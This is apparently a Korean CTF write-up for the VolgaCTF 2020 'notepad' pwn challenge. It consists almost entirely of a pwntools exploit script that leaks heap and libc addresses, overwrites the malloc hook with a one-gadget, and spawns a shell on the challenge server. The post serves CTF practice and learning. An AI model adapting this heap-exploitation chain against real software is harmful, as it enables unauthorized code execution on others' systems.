notepad.dms
14.3 kB
롸업 쓰기 귀찮다. 그냥 pad를 할당하는 게 영역을 넘을 수가 있어서 그걸로 언제나 그랬듯이 malloc hook을 덮었다.
Exploit Code
from pwn import *
def add(name):
p.sendlineafter('> ', 'a')
p.sendlineafter(': ', name)
def list():
p.sendlineafter('> ', 'l')
def delete(idx):
p.sendlineafter('> ', 'd')
p.sendlineafter(': ', str(idx))
def pick(idx):
p.sendlineafter('> ', 'p')
p.sendlineafter(': ', str(idx))
def add_tab(name, len, data):
p.sendlineafter('> ', 'a')
p.sendlineafter(': ', name)
p.sendlineafter(': ', str(len))
p.sendafter(': ', data)
def quit_tab():
p.sendlineafter('> ', 'q')
def view_tab(idx):
p.sendlineafter('> ', 'v')
p.sendlineafter(': ', str(idx))
def update_tab(idx, name, len, data):
p.sendlineafter('> ', 'u')
p.sendlineafter(': ', str(idx))
p.sendlineafter(': ', name)
p.sendlineafter(': ', str(len))
p.sendafter(': ', data)
def delete_tab(idx):
p.sendlineafter('> ', 'd')
p.sendlineafter(': ', str(idx))
#p=process('./notepad')
p=remote('notepad.q.2020.volgactf.ru', 45678)
add('A'*0x10+'\x80')
add('B')
add('C')
pick(1)
add_tab('A', 10, 'hihi') # 129
quit_tab()
list()
p.recvuntil('[3] ')
heap_addr = u64(p.recv(6)+'\x00'*2)
p.success('heap addr is '+hex(heap_addr))
pick(3)
add_tab('A', 0x600, 'B'*0x30)
quit_tab()
pick(2)
add_tab('B', 0x600, 'C'*0x30)
quit_tab()
pick(3)
delete_tab(1)
quit_tab()
pick(1)
add_tab('A'*0x16, 10, 'A'*7+'B') # 130
quit_tab()
pick(3)
view_tab(1)
p.recvuntil('B')
libc_base = u64(p.recv(6)+'\x00'*2)-0x3ec110
p.success('libc base is '+hex(libc_base))
quit_tab()
pick(1)
add_tab(p64(0x100)+p64(libc_base+0x3ebc30), 16, 'A') # 131
quit_tab()
pick(3)
update_tab(1, '', '', p64(libc_base+0x10a38c))
p.interactive()
Capture the Flag

'Writeup [pwn] > CTF 대회 기출' 카테고리의 다른 글
[zer0pts CTF 2020] grimoire (0) | 2020.03.24 |
---|---|
[zer0pts CTF 2020] babybof (0) | 2020.03.19 |
[zer0pts CTF 2020] protrude (0) | 2020.03.15 |
[zer0pts CTF 2020] diylist (0) | 2020.03.12 |
[zer0pts CTF 2020] hipwn (0) | 2020.03.11 |